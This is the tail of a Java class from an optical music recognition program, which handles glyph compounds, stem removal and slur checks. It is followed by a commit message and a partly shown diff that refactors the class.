for (SystemInfo system : sheet.getSystems()) {
symbolNb += processSystemUndueStems(system);
}
logger.info(symbolNb + " symbol(s) from stem cancellation");
return symbolNb;
}
//------------------//
// processVerticals //
//------------------//
/**
* Look for vertical sticks (stems actually, though we could have endings
* verticals as well), and rebuild glyphs after the stem extraction
*/
public void processVerticals ()
{
// Get rid of former non-recognized symbols
for (SystemInfo system : sheet.getSystems()) {
removeSystemUnknowns(system);
}
// Retrieve stem/endings vertical candidates
try {
new VerticalsBuilder(sheet);
} catch (ProcessingException ex) {
// User has already been warned
}
}
//-------------//
// removeGlyph //
//-------------//
/**
* Remove a glyph stick
*
* @param glyph the specified glyph
* @param system the system it belongs to
* @param cutSections should glyph <- section link be cut
*/
public void removeGlyph (Glyph glyph,
SystemInfo system,
boolean cutSections)
{
if (logger.isFineEnabled()) {
logger.fine("Removing glyph " + glyph);
}
// Remove from system glyph list
if (!system.getGlyphs()
.remove(glyph)) {
logger.warning(
"Could not remove glyph from system glyphs" + system.getId());
}
// Remove from lag
glyph.destroy(cutSections);
}
//-------------//
// compoundBox //
//-------------//
/**
* Build a rectangular box, slightly extended to check intersection with
* neighbouring glyphs
*
* @param rect the specified box
* @param dxy the extension on every side side
* @return the extended box
*/
private static Rectangle compoundBox (Rectangle rect,
int dxy)
{
return new Rectangle(
rect.x - dxy,
rect.y - dxy,
rect.width + (2 * dxy),
rect.height + (2 * dxy));
}
//----------------------//
// removeSystemUnknowns //
//----------------------//
/**
* On a specified system, look for all unknown glyphs (including glyphs
* classified as STRUCTURE shape), and remove them from its glyphs
* collection as well as from the containing lag. Purpose is to prepare
* room for a new glyph extraction
*
* @param system the specified system
*/
private static void removeSystemUnknowns (SystemInfo system)
{
List<Glyph> toremove = new ArrayList<Glyph>();
for (Glyph glyph : system.getGlyphs()) {
// We remove shapes : null, NOISE, STRUCTURE (not CLUTTER)
if (!glyph.isWellKnown()) {
toremove.add(glyph);
}
}
// Remove from system list
system.getGlyphs()
.removeAll(toremove);
// Remove from lag
for (Glyph glyph : toremove) {
glyph.destroy( /* cutSections => */
true);
}
}
//-----------------------//
// isSuitableForCompound //
//-----------------------//
private boolean isSuitableForCompound (Glyph glyph)
{
return !glyph.isKnown() ||
(!glyph.isManualShape() &&
((glyph.getShape() == Shape.DOT) ||
(glyph.getShape() == Shape.SLUR) ||
(glyph.getShape() == Shape.CLUTTER) ||
(glyph.getDoubt() >= constants.minCompoundPartDoubt.getValue())));
}
//-------//
// idsOf //
//-------//
private String idsOf (List<Glyph> list)
{
StringBuilder sb = new StringBuilder();
sb.append("[");
for (Glyph glyph : list) {
sb.append(' ')
.append(glyph.getId());
}
sb.append("]");
return sb.toString();
}
//------------------------//
// processSystemCompounds //
//------------------------//
/**
* In the specified system, look for glyphs portions that should be
* considered as parts of compound glyphs
*
*
* @param system the system where splitted glyphs are looked for
* @param maxGrade maximum acceptance doubt
* @param compounds resulting global list of compounds to expend
*/
private void processSystemCompounds (SystemInfo system,
double maxGrade,
List<Glyph> compounds)
{
// Collect glyphs suitable for participating in compound building
List<Glyph> glyphs = new ArrayList<Glyph>(system.getGlyphs().size());
for (Glyph glyph : system.getGlyphs()) {
if (isSuitableForCompound(glyph)) {
glyphs.add(glyph);
}
}
// Sort unknown glyphs by decreasing weight
Collections.sort(
glyphs,
new Comparator<Glyph>() {
public int compare (Glyph o1,
Glyph o2)
{
return o2.getWeight() - o1.getWeight();
}
});
// Process each glyph in turn, by looking at smaller ones
Evaluator evaluator = GlyphNetwork.getInstance();
List<Glyph> neighbors = new ArrayList<Glyph>();
for (int index = 0; index < glyphs.size(); index++) {
Glyph glyph = glyphs.get(index);
// Since the glyphs are modified on the fly ...
if (!isSuitableForCompound(glyph)) {
continue;
}
// Use an extended contour box
int dxy = sheet.getScale()
.toPixels(constants.boxWiden);
Rectangle box = compoundBox(glyph.getContourBox(), dxy);
// Consider neighboring glyphs, which are glyphs whose contour
// intersect the extended contour of glyph at hand
neighbors.clear();
for (Glyph g : glyphs.subList(index + 1, glyphs.size())) {
if (!isSuitableForCompound(glyph)) {
continue;
}
if (box.intersects(g.getContourBox())) {
neighbors.add(g);
}
}
if (neighbors.size() > 0) {
// Let's try a compound
neighbors.add(glyph);
Glyph compound = builder.buildCompound(neighbors);
Evaluation vote = evaluator.vote(compound, maxGrade);
if (logger.isFineEnabled()) {
logger.fine(
glyph.getId() + " " + glyph.getShape() + "(" +
String.format("%.3f", glyph.getDoubt()) + ") : " +
idsOf(neighbors) + " -> " + vote);
}
if ((vote != null) &&
vote.shape.isWellKnown() &&
(vote.shape != Shape.CLUTTER) &&
(!glyph.isKnown() || (vote.doubt < glyph.getDoubt()))) {
compound.setShape(vote.shape, vote.doubt);
builder.insertCompound(compound, neighbors);
compounds.add(compound);
if (logger.isFineEnabled()) {
logger.fine("Insert compound " + compound);
}
}
}
}
}
//-------------------------//
// processSystemUndueStems //
//-------------------------//
/**
* In a specified system, look for all stems that should not be kept,
* rebuild surrounding glyphs and try to recognize them. If this action does
* not lead to some recognized symbol, then we restore the stems.
*
* @param system the specified system
* @return the number of symbols recognized
*/
private int processSystemUndueStems (SystemInfo system)
{
logger.fine("processSystemUndueStems " + system);
int nb = 0;
// Use very close stems to detect sharps and naturals ?
// Collect all undue stems
List<Glyph> SuspectedStems = new ArrayList<Glyph>();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.isStem()) {
Set<Glyph> goods = new HashSet<Glyph>();
Set<Glyph> bads = new HashSet<Glyph>();
glyph.getSymbolsBefore(reliableStemSymbols, goods, bads);
glyph.getSymbolsAfter(reliableStemSymbols, goods, bads);
if (goods.size() == 0) {
if (logger.isFineEnabled()) {
logger.fine("Suspected Stem " + glyph);
}
SuspectedStems.add(glyph);
// Discard "bad" ones
for (Glyph g : bads) {
g.setShape((Shape) null);
}
}
}
}
// Remove these stems since nearby stems are used for recognition
for (Glyph glyph : SuspectedStems) {
removeGlyph(glyph, system, /*cutSections=>*/
true);
}
// Extract brand new glyphs
extractNewSystemGlyphs(system);
// Try to recognize each glyph in turn
List<Glyph> symbols = new ArrayList<Glyph>();
final Evaluator evaluator = GlyphNetwork.getInstance();
final double maxGrade = getCleanupMaxGrade();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.getShape() == null) {
Evaluation vote = evaluator.vote(glyph, maxGrade);
if (vote != null) {
glyph.setShape(vote.shape, vote.doubt);
if (glyph.isWellKnown()) {
if (logger.isFineEnabled()) {
logger.fine("New symbol " + glyph);
}
symbols.add(glyph);
nb++;
}
}
}
}
// Keep stems that have not been replaced by symbols, definitively
// remove the others
for (Glyph stem : SuspectedStems) {
// Check if one of its section is now part of a symbol
boolean known = false;
Glyph glyph = null;
for (GlyphSection section : stem.getMembers()) {
glyph = section.getGlyph();
if ((glyph != null) && glyph.isWellKnown()) {
known = true;
break;
}
}
if (!known) {
// Remove the newly created glyph
if (glyph != null) {
removeGlyph(glyph, system, /* cutSections => */
true);
}
// Restore the stem
system.getGlyphs()
.add(stem);
// Restore the stem <- section link
for (GlyphSection section : stem.getMembers()) {
section.setGlyph(stem);
}
}
}
// Extract brand new glyphs
extractNewSystemGlyphs(system);
return nb;
}
//~ Inner Classes ----------------------------------------------------------
//-----------//
// Constants //
//-----------//
private static final class Constants
extends ConstantSet
{
Constant.Boolean inspectorDisabled = new Constant.Boolean(
false,
"Should we (temporarily) disable glyph recognition?");
Scale.Fraction boxWiden = new Scale.Fraction(
0.15,
"Box widening to check intersection with compound");
Constant.Double cleanupMaxGrade = new Constant.Double(
1.2,
"Maximum grade for cleanup phase");
Constant.Double leafMaxGrade = new Constant.Double(
1.01,
"Maximum acceptance grade for a leaf");
Constant.Double symbolMaxGrade = new Constant.Double(
1.0001,
"Maximum doubt for a symbol");
Constant.Double minCompoundPartDoubt = new Constant.Double(
1.020,
"Minimum doubt for a compound part");
}
}
| Made handling of compound more versatile
| src/main/omr/glyph/GlyphInspector.java | Made handling of compound more versatile | <ide><path>rc/main/omr/glyph/GlyphInspector.java
<ide> import omr.constant.Constant;
<ide> import omr.constant.ConstantSet;
<ide>
<add>import omr.math.Circle;
<add>
<ide> import omr.sheet.Scale;
<ide> import omr.sheet.Sheet;
<ide> import omr.sheet.SystemInfo;
<del>import omr.sheet.SystemSplit;
<del>import omr.sheet.VerticalArea;
<ide> import omr.sheet.VerticalsBuilder;
<ide>
<add>import omr.util.Implement;
<ide> import omr.util.Logger;
<ide> import omr.util.Predicate;
<ide>
<ide> import java.util.List;
<ide>
<ide> /**
<del> * Class <code>GlyphInspector</code> is dedicated to processing of retrieved
<del> * glyphs, their recognition is based on features as used by a neural network
<del> * evaluator.
<add> * Class <code>GlyphInspector</code> is dedicated to the inspection of retrieved
<add> * glyphs, their recognition being usually based on features used by a neural
<add> * network evaluator.
<ide> *
<ide> * @author Hervé Bitteur
<ide> * @version $Id$
<ide> * Create an GlyphInspector instance.
<ide> *
<ide> * @param sheet the sheet to inspect
<del> * @param builder the glyph builder
<add> * @param builder the related glyph builder
<ide> */
<ide> public GlyphInspector (Sheet sheet,
<ide> GlyphsBuilder builder)
<ide> //~ Methods ----------------------------------------------------------------
<ide>
<ide> //--------------------//
<del> // getCleanupMaxGrade //
<add> // getCleanupMaxDoubt //
<ide> //--------------------//
<ide> /**
<ide> * Report the maximum doubt for a cleanup
<ide> *
<ide> * @return maximum acceptable doubt value
<ide> */
<del> public static double getCleanupMaxGrade ()
<del> {
<del> return constants.cleanupMaxGrade.getValue();
<add> public static double getCleanupMaxDoubt ()
<add> {
<add> return constants.cleanupMaxDoubt.getValue();
<ide> }
<ide>
<ide> //-----------------//
<del> // getLeafMaxGrade //
<add> // getLeafMaxDoubt //
<ide> //-----------------//
<ide> /**
<ide> * Report the maximum doubt for a leaf
<ide> *
<ide> * @return maximum acceptable doubt value
<ide> */
<del> public static double getLeafMaxGrade ()
<del> {
<del> return constants.leafMaxGrade.getValue();
<del> }
<del>
<del> //-------------------//
<del> // getSymbolMaxGrade //
<add> public static double getLeafMaxDoubt ()
<add> {
<add> return constants.leafMaxDoubt.getValue();
<add> }
<add>
<add> //-------------------------//
<add> // getMinCompoundPartDoubt //
<add> //-------------------------//
<add> public static double getMinCompoundPartDoubt ()
<add> {
<add> return constants.minCompoundPartDoubt.getValue();
<add> }
<add>
<add> //-------------------//
<add> // getSymbolMaxDoubt //
<ide> //-------------------//
<ide> /**
<ide> * Report the maximum doubt for a symbol
<ide> *
<del> *
<ide> * @return maximum acceptable doubt value
<ide> */
<del> public static double getSymbolMaxGrade ()
<del> {
<del> return constants.symbolMaxGrade.getValue();
<del> }
<del>
<del> //------------------------//
<del> // extractNewSystemGlyphs //
<del> //------------------------//
<del> /**
<del> * In the specified system, build new glyphs from unknown sections (sections
<del> * not linked to a known glyph)
<del> *
<del> * @param system the specified system
<del> */
<del> public void extractNewSystemGlyphs (SystemInfo system)
<del> {
<del> removeSystemUnknowns(system);
<del> sheet.getGlyphBuilder()
<del> .retrieveSystemGlyphs(system);
<del> system.sortGlyphs();
<del> }
<del>
<del> //---------------//
<del> // processBraces //
<del> //---------------//
<del> /**
<del> * Look for braces and get back to the BarsBuilder to organize the score
<del> * parts
<del> */
<del> public void processBraces ()
<del> {
<del> // Collect braces recognized, system per system
<del> List<List<Glyph>> braceLists = new ArrayList<List<Glyph>>();
<del> int nb = 0;
<del>
<del> for (SystemInfo system : sheet.getSystems()) {
<del> List<Glyph> braces = new ArrayList<Glyph>();
<del>
<del> for (Glyph glyph : system.getGlyphs()) {
<del> if (glyph.getShape() == Shape.BRACE) {
<del> braces.add(glyph);
<del> nb++;
<del> }
<del> }
<del>
<del> braceLists.add(braces);
<del> }
<del>
<del> if (logger.isFineEnabled()) {
<del> logger.fine("Found " + nb + " brace(s)");
<del> }
<del>
<del> // Pass this data to the glyph inspector
<del> // sheet.getBarsBuilder()
<del> // .setBraces(braceLists);
<del> }
<del>
<del> //------------------//
<del> // processCompounds //
<del> //------------------//
<del> /**
<del> * Look for glyphs portions that should be considered as parts of compound
<del> * glyphs
<del> *
<del> *
<del> * @param maxGrade mamximum acceptance doubt
<del> */
<del> public void processCompounds (double maxGrade)
<del> {
<del> List<Glyph> compounds = new ArrayList<Glyph>();
<del>
<del> for (SystemInfo system : sheet.getSystems()) {
<del> processSystemCompounds(system, maxGrade, compounds);
<del> }
<del>
<del> if (compounds.size() > 1) {
<del> logger.info(
<del> "Built " + compounds.size() + " compounds " +
<del> compounds.get(0).getId() + " .. " +
<del> compounds.get(compounds.size() - 1).getId());
<del> } else if (compounds.size() == 1) {
<del> logger.info(
<del> "Built compound " + compounds.get(0).getId() + " as " +
<del> compounds.get(0).getShape());
<del> } else {
<del> logger.fine("No compound built");
<del> }
<del> }
<del>
<del> //---------------//
<del> // processGlyphs //
<del> //---------------//
<del> /**
<del> * All symbol glyphs of the sheet, for which we can get a positive vote of
<del> * the evaluator, are assigned the voted shape.
<del> *
<del> *
<del> * @param maxGrade maximum value for acceptable doubt
<del> */
<del> public void processGlyphs (double maxGrade)
<add> public static double getSymbolMaxDoubt ()
<add> {
<add> return constants.symbolMaxDoubt.getValue();
<add> }
<add>
<add> //----------------//
<add> // evaluateGlyphs //
<add> //----------------//
<add> /**
<add> * All new symbol glyphs of the sheet, for which we can get a positive vote
<add> * of the evaluator, are assigned the voted shape.
<add> *
<add> * @param maxDoubt maximum value for acceptable doubt
<add> */
<add> public void evaluateGlyphs (double maxDoubt)
<ide> {
<ide> // For temporary use only ...
<ide> if (constants.inspectorDisabled.getValue()) {
<ide> glyph.setInterline(sheet.getScale().interline());
<ide>
<ide> // Get vote
<del> Evaluation vote = evaluator.vote(glyph, maxGrade);
<add> Evaluation vote = evaluator.vote(glyph, maxDoubt);
<ide>
<ide> if (vote != null) {
<ide> glyph.setShape(vote.shape, vote.doubt);
<ide>
<ide> if (acceptNb > 0) {
<ide> logger.info(
<del> acceptNb + " glyph(s) accepted (" + noiseNb + " as noise, " +
<del> structureNb + " as structure, " + clutterNb + " as clutter, " +
<del> knownNb + " as known)");
<del> }
<del> }
<del>
<del> //---------------//
<del> // processLeaves //
<del> //---------------//
<add> acceptNb + " glyph" + ((acceptNb > 1) ? "s" : "") +
<add> " assigned (" + noiseNb + " as noise, " + structureNb +
<add> " as structure, " + clutterNb + " as clutter, " + knownNb +
<add> " as known)");
<add> }
<add> }
<add>
<add> // //---------------//
<add> // // processBraces //
<add> // //---------------//
<add> // /**
<add> // * Look for braces and get back to the BarsBuilder to organize the score
<add> // * parts (TBD: is it used anymore?)
<add> // */
<add> // public void processBraces ()
<add> // {
<add> // // Collect braces recognized, system per system
<add> // List<List<Glyph>> braceLists = new ArrayList<List<Glyph>>();
<add> //
<add> // int nb = 0;
<add> //
<add> // for (SystemInfo system : sheet.getSystems()) {
<add> // List<Glyph> braces = new ArrayList<Glyph>();
<add> //
<add> // for (Glyph glyph : system.getGlyphs()) {
<add> // if (glyph.getShape() == Shape.BRACE) {
<add> // braces.add(glyph);
<add> // nb++;
<add> // }
<add> // }
<add> //
<add> // braceLists.add(braces);
<add> // }
<add> //
<add> // if (logger.isFineEnabled()) {
<add> // logger.fine("Found " + nb + " brace(s)");
<add> // }
<add> //
<add> // // Pass this data to the glyph inspector
<add> // // sheet.getBarsBuilder()
<add> // // .setBraces(braceLists);
<add> // }
<add>
<add> //-------------------//
<add> // retrieveCompounds //
<add> //-------------------//
<add> /**
<add> * Look for glyphs portions that should be considered as parts of compound
<add> * glyphs
<add> *
<add> * @param maxDoubt maximum doubt for a compound glyph to be accepted
<add> */
<add> public void retrieveCompounds (double maxDoubt)
<add> {
<add> List<Glyph> compounds = new ArrayList<Glyph>();
<add>
<add> for (SystemInfo system : sheet.getSystems()) {
<add> retrieveSystemCompounds(system, compounds, maxDoubt);
<add> }
<add>
<add> // Feedback to the user
<add> if (compounds.size() > 1) {
<add> logger.info(
<add> "Built " + compounds.size() + " compounds #" +
<add> compounds.get(0).getId() + " .. #" +
<add> compounds.get(compounds.size() - 1).getId());
<add> } else if (compounds.size() == 1) {
<add> logger.info(
<add> "Built compound #" + compounds.get(0).getId() + " as " +
<add> compounds.get(0).getShape());
<add> } else {
<add> logger.fine("No compound built");
<add> }
<add> }
<add>
<add> //----------------//
<add> // retrieveLeaves //
<add> //----------------//
<ide> /**
<ide> * Retrieve leaves that appear thanks to segmentation due to stems
<ide> * extraction.
<ide> */
<del> public void processLeaves ()
<del> {
<del> // Nota: Leaves are already added to the proper system glyph
<del> // collection
<del> builder.buildInfo();
<add> public void retrieveLeaves ()
<add> {
<add> // Nota: Leaves are already added to the proper system glyph collection
<add> builder.retrieveGlyphs();
<ide>
<ide> // Sort glyphs on their abscissa
<ide> for (SystemInfo system : sheet.getSystems()) {
<ide> }
<ide>
<ide> //-------------------//
<del> // processUndueStems //
<del> //-------------------//
<del> /**
<del> * Look for all stems that should not be kept, rebuild surrounding glyphs
<del> * and try to recognize them
<del> *
<del> * @return the number of symbols recognized
<del> */
<del> public int processUndueStems ()
<del> {
<del> int symbolNb = 0;
<del>
<del> for (SystemInfo system : sheet.getSystems()) {
<del> symbolNb += processSystemUndueStems(system);
<del> }
<del>
<del> logger.info(symbolNb + " symbol(s) from stem cancellation");
<del>
<del> return symbolNb;
<del> }
<del>
<del> //------------------//
<del> // processVerticals //
<del> //------------------//
<add> // retrieveVerticals //
<add> //-------------------//
<ide> /**
<ide> * Look for vertical sticks (stems actually, though we could have endings
<ide> * verticals as well), and rebuild glyphs after the stem extraction
<ide> */
<del> public void processVerticals ()
<add> public void retrieveVerticals ()
<ide> {
<ide> // Get rid of former non-recognized symbols
<ide> for (SystemInfo system : sheet.getSystems()) {
<del> removeSystemUnknowns(system);
<add> builder.removeSystemUnknowns(system);
<ide> }
<ide>
<ide> // Retrieve stem/endings vertical candidates
<ide> }
<ide>
<ide> //-------------//
<del> // removeGlyph //
<add> // tryCompound //
<ide> //-------------//
<ide> /**
<del> * Remove a glyph stick
<del> *
<del> * @param glyph the specified glyph
<del> * @param system the system it belongs to
<del> * @param cutSections should glyph <- section link be cut
<del> */
<del> public void removeGlyph (Glyph glyph,
<del> SystemInfo system,
<del> boolean cutSections)
<del> {
<del> if (logger.isFineEnabled()) {
<del> logger.fine("Removing glyph " + glyph);
<del> }
<del>
<del> // Remove from system glyph list
<del> if (!system.getGlyphs()
<del> .remove(glyph)) {
<del> logger.warning(
<del> "Could not remove glyph from system glyphs" + system.getId());
<del> }
<del>
<del> // Remove from lag
<del> glyph.destroy(cutSections);
<add> * Try to build a compound, starting from given seed and looking into the
<add> * collection of suitable glyphs.
<add> *
<add> * @param seed the initial glyph around which the compound is built
<add> * @param suitables collection of potential glyphs
<add> * @param adapter the specific behavior of the compound tests
<add> * @return the compound built if successful, null otherwise
<add> */
<add> public Glyph tryCompound (Glyph seed,
<add> List<Glyph> suitables,
<add> CompoundAdapter adapter)
<add> {
<add> // Build box extended around the seed
<add> Rectangle rect = seed.getContourBox();
<add> Rectangle box = new Rectangle(
<add> rect.x - adapter.getBoxDx(),
<add> rect.y - adapter.getBoxDy(),
<add> rect.width + (2 * adapter.getBoxDx()),
<add> rect.height + (2 * adapter.getBoxDy()));
<add>
<add> // Retrieve good neighbors among the suitable glyphs
<add> List<Glyph> neighbors = new ArrayList<Glyph>();
<add>
<add> // Include the seed in the compound glyphs
<add> neighbors.add(seed);
<add>
<add> for (Glyph g : suitables) {
<add> if (!adapter.isSuitable(g)) {
<add> continue;
<add> }
<add>
<add> if (box.intersects(g.getContourBox())) {
<add> neighbors.add(g);
<add> }
<add> }
<add>
<add> if (neighbors.size() > 1) {
<add> if (logger.isFineEnabled()) {
<add> logger.finest(
<add> "neighbors=" + Glyph.idsOf(neighbors) + " seed=" + seed);
<add> }
<add>
<add> Glyph compound = builder.buildCompound(neighbors);
<add>
<add> if (adapter.isValid(compound)) {
<add> builder.insertCompound(compound, neighbors);
<add>
<add> if (logger.isFineEnabled()) {
<add> logger.fine("Inserted compound " + compound);
<add> }
<add>
<add> return compound;
<add> }
<add> }
<add>
<add> return null;
<ide> }
<ide>
<ide> //-------------//
<del> // compoundBox //
<add> // verifySlurs //
<ide> //-------------//
<ide> /**
<del> * Build a rectangular box, slightly extended to check intersection with
<del> * neighbouring glyphs
<del> *
<del> * @param rect the specified box
<del> * @param dxy the extension on every side side
<del> * @return the extended box
<del> */
<del> private static Rectangle compoundBox (Rectangle rect,
<del> int dxy)
<del> {
<del> return new Rectangle(
<del> rect.x - dxy,
<del> rect.y - dxy,
<del> rect.width + (2 * dxy),
<del> rect.height + (2 * dxy));
<del> }
<del>
<del> //----------------------//
<del> // removeSystemUnknowns //
<del> //----------------------//
<del> /**
<del> * On a specified system, look for all unknown glyphs (including glyphs
<del> * classified as STRUCTURE shape), and remove them from its glyphs
<del> * collection as well as from the containing lag. Purpose is to prepare
<del> * room for a new glyph extraction
<del> *
<del> * @param system the specified system
<del> */
<del> private static void removeSystemUnknowns (SystemInfo system)
<del> {
<del> List<Glyph> toremove = new ArrayList<Glyph>();
<del>
<del> for (Glyph glyph : system.getGlyphs()) {
<del> // We remove shapes : null, NOISE, STRUCTURE (not CLUTTER)
<del> if (!glyph.isWellKnown()) {
<del> toremove.add(glyph);
<del> }
<del> }
<del>
<del> // Remove from system list
<del> system.getGlyphs()
<del> .removeAll(toremove);
<del>
<del> // Remove from lag
<del> for (Glyph glyph : toremove) {
<del> glyph.destroy( /* cutSections => */
<del> true);
<del> }
<del> }
<del>
<del> //-----------------------//
<del> // isSuitableForCompound //
<del> //-----------------------//
<del> private boolean isSuitableForCompound (Glyph glyph)
<del> {
<del> return !glyph.isKnown() ||
<del> (!glyph.isManualShape() &&
<del> ((glyph.getShape() == Shape.DOT) ||
<del> (glyph.getShape() == Shape.SLUR) ||
<del> (glyph.getShape() == Shape.CLUTTER) ||
<del> (glyph.getDoubt() >= constants.minCompoundPartDoubt.getValue())));
<del> }
<del>
<del> //-------//
<del> // idsOf //
<del> //-------//
<del> private String idsOf (List<Glyph> list)
<del> {
<del> StringBuilder sb = new StringBuilder();
<del> sb.append("[");
<del>
<del> for (Glyph glyph : list) {
<del> sb.append(' ')
<del> .append(glyph.getId());
<del> }
<del>
<del> sb.append("]");
<del>
<del> return sb.toString();
<del> }
<del>
<del> //------------------------//
<del> // processSystemCompounds //
<del> //------------------------//
<add> * Browse through all slur glyphs, run additional checks, and correct
<add> * spurious glyphs if any
<add> */
<add> public void verifySlurs ()
<add> {
<add> int fixedNb = 0;
<add>
<add> for (SystemInfo system : sheet.getSystems()) {
<add> fixedNb += verifySystemSlurs(system);
<add> }
<add>
<add> // Feedback
<add> if (fixedNb > 1) {
<add> logger.info(fixedNb + " slurs fixed");
<add> } else if (fixedNb > 0) {
<add> logger.info(fixedNb + " slur fixed");
<add> } else {
<add> logger.fine("No slur fixed");
<add> }
<add> }
<add>
<add> //-------------//
<add> // verifyStems //
<add> //-------------//
<add> /**
<add> * Look for all stems that should not be kept, rebuild surrounding glyphs
<add> * and try to recognize them
<add> */
<add> public void verifyStems ()
<add> {
<add> int symbolNb = 0;
<add>
<add> for (SystemInfo system : sheet.getSystems()) {
<add> symbolNb += verifySystemStems(system);
<add> }
<add>
<add> // User feedback
<add> if (symbolNb > 1) {
<add> logger.info(symbolNb + " new symbols from stem cancellation");
<add> } else if (symbolNb > 0) {
<add> logger.info(symbolNb + " new symbol from stem cancellation");
<add> } else if (logger.isFineEnabled()) {
<add> logger.fine("No new symbol from stem cancellation");
<add> }
<add> }
<add>
<add> //-------------------------//
<add> // retrieveSystemCompounds //
<add> //-------------------------//
<ide> /**
<ide> * In the specified system, look for glyphs portions that should be
<ide> * considered as parts of compound glyphs
<ide> *
<del> *
<ide> * @param system the system where splitted glyphs are looked for
<del> * @param maxGrade maximum acceptance doubt
<ide> * @param compounds resulting global list of compounds to expend
<del> */
<del> private void processSystemCompounds (SystemInfo system,
<del> double maxGrade,
<del> List<Glyph> compounds)
<del> {
<add> * @param maxDoubt maximum doubt value for a compound
<add> */
<add> private void retrieveSystemCompounds (SystemInfo system,
<add> List<Glyph> compounds,
<add> double maxDoubt)
<add> {
<add> BasicAdapter adapter = new BasicAdapter(maxDoubt);
<add>
<ide> // Collect glyphs suitable for participating in compound building
<del> List<Glyph> glyphs = new ArrayList<Glyph>(system.getGlyphs().size());
<add> List<Glyph> suitables = new ArrayList<Glyph>(
<add> system.getGlyphs().size());
<ide>
<ide> for (Glyph glyph : system.getGlyphs()) {
<del> if (isSuitableForCompound(glyph)) {
<del> glyphs.add(glyph);
<del> }
<del> }
<del>
<del> // Sort unknown glyphs by decreasing weight
<add> if (adapter.isSuitable(glyph)) {
<add> suitables.add(glyph);
<add> }
<add> }
<add>
<add> // Sort suitable glyphs by decreasing weight
<ide> Collections.sort(
<del> glyphs,
<add> suitables,
<ide> new Comparator<Glyph>() {
<ide> public int compare (Glyph o1,
<ide> Glyph o2)
<ide> }
<ide> });
<ide>
<del> // Process each glyph in turn, by looking at smaller ones
<del> Evaluator evaluator = GlyphNetwork.getInstance();
<del> List<Glyph> neighbors = new ArrayList<Glyph>();
<del>
<del> for (int index = 0; index < glyphs.size(); index++) {
<del> Glyph glyph = glyphs.get(index);
<del>
<del> // Since the glyphs are modified on the fly ...
<del> if (!isSuitableForCompound(glyph)) {
<add> // Now process each seed in turn, by looking at smaller ones
<add> for (int index = 0; index < suitables.size(); index++) {
<add> Glyph seed = suitables.get(index);
<add> adapter.setSeed(seed);
<add>
<add> Glyph compound = tryCompound(
<add> seed,
<add> suitables.subList(index + 1, suitables.size()),
<add> adapter);
<add>
<add> // if (logger.isFineEnabled()) {
<add> // logger.finest(
<add> // seed.getId() + " " + seed.getShape() + "(" +
<add> // String.format("%.3f", seed.getDoubt()) + ") : " +
<add> // Glyph.idsOf(neighbors) + " -> " + vote);
<add> // }
<add> if (compound != null) {
<add> compound.setShape(
<add> adapter.getVote().shape,
<add> adapter.getVote().doubt);
<add> compounds.add(compound);
<add> }
<add> }
<add> }
<add>
<add> //-------------------//
<add> // verifySystemSlurs //
<add> //-------------------//
<add> /**
<add> * Process all the slur glyphs in the given system, and try to correct the
<add> * spurious ones if any
<add> *
<add> * @param system the system at hand
<add> * @return the number of slurs fixed in this system
<add> */
<add> private int verifySystemSlurs (SystemInfo system)
<add> {
<add> int fixedNb = 0;
<add> List<Glyph> oldGlyphs = new ArrayList<Glyph>();
<add> List<Glyph> newGlyphs = new ArrayList<Glyph>();
<add>
<add> // First, make up a list of all slur glyphs in this system
<add> // (So as to free the system glyph list for on-the-fly modifications)
<add> List<Glyph> slurs = new ArrayList<Glyph>();
<add>
<add> for (Glyph glyph : system.getGlyphs()) {
<add> if (glyph.getShape() == Shape.SLUR) {
<add> slurs.add(glyph);
<add> }
<add> }
<add>
<add> // Then verify each slur seed in turn
<add> for (Glyph seed : slurs) {
<add> // Check this slur has not just been 'merged' with another one
<add> if (seed.getMembers()
<add> .get(0)
<add> .getGlyph() != seed) {
<ide> continue;
<ide> }
<ide>
<del> // Use an extended contour box
<del> int dxy = sheet.getScale()
<del> .toPixels(constants.boxWiden);
<del> Rectangle box = compoundBox(glyph.getContourBox(), dxy);
<del>
<del> // Consider neighboring glyphs, which are glyphs whose contour
<del> // intersect the extended contour of glyph at hand
<del> neighbors.clear();
<del>
<del> for (Glyph g : glyphs.subList(index + 1, glyphs.size())) {
<del> if (!isSuitableForCompound(glyph)) {
<del> continue;
<add> Circle circle = SlurGlyph.computeCircle(seed);
<add>
<add> if (!circle.isValid(SlurGlyph.getMaxCircleDistance())) {
<add> if (SlurGlyph.fixSpuriousSlur(seed, system)) {
<add> fixedNb++;
<ide> }
<del>
<del> if (box.intersects(g.getContourBox())) {
<del> neighbors.add(g);
<del> }
<del> }
<del>
<del> if (neighbors.size() > 0) {
<del> // Let's try a compound
<del> neighbors.add(glyph);
<del>
<del> Glyph compound = builder.buildCompound(neighbors);
<del> Evaluation vote = evaluator.vote(compound, maxGrade);
<del>
<del> if (logger.isFineEnabled()) {
<del> logger.fine(
<del> glyph.getId() + " " + glyph.getShape() + "(" +
<del> String.format("%.3f", glyph.getDoubt()) + ") : " +
<del> idsOf(neighbors) + " -> " + vote);
<del> }
<del>
<del> if ((vote != null) &&
<del> vote.shape.isWellKnown() &&
<del> (vote.shape != Shape.CLUTTER) &&
<del> (!glyph.isKnown() || (vote.doubt < glyph.getDoubt()))) {
<del> compound.setShape(vote.shape, vote.doubt);
<del> builder.insertCompound(compound, neighbors);
<del> compounds.add(compound);
<del>
<del> if (logger.isFineEnabled()) {
<del> logger.fine("Insert compound " + compound);
<del> }
<del> }
<del> }
<del> }
<del> }
<del>
<del> //-------------------------//
<del> // processSystemUndueStems //
<del> //-------------------------//
<add> } else if (logger.isFineEnabled()) {
<add> logger.finest("Valid slur " + seed.getId());
<add> }
<add> }
<add>
<add> // Extract & evaluate brand new glyphs
<add> builder.extractNewSystemGlyphs(system);
<add>
<add> return fixedNb;
<add> }
<add>
<add> //-------------------//
<add> // verifySystemStems //
<add> //-------------------//
<ide> /**
<ide> * In a specified system, look for all stems that should not be kept,
<ide> * rebuild surrounding glyphs and try to recognize them. If this action does
<ide> * @param system the specified system
<ide> * @return the number of symbols recognized
<ide> */
<del> private int processSystemUndueStems (SystemInfo system)
<del> {
<del> logger.fine("processSystemUndueStems " + system);
<add> private int verifySystemStems (SystemInfo system)
<add> {
<add> logger.finest("verifySystemStems " + system);
<ide>
<ide> int nb = 0;
<ide>
<ide> // Use very close stems to detect sharps and naturals ?
<del>
<ide> // Collect all undue stems
<ide> List<Glyph> SuspectedStems = new ArrayList<Glyph>();
<ide>
<ide>
<ide> if (goods.size() == 0) {
<ide> if (logger.isFineEnabled()) {
<del> logger.fine("Suspected Stem " + glyph);
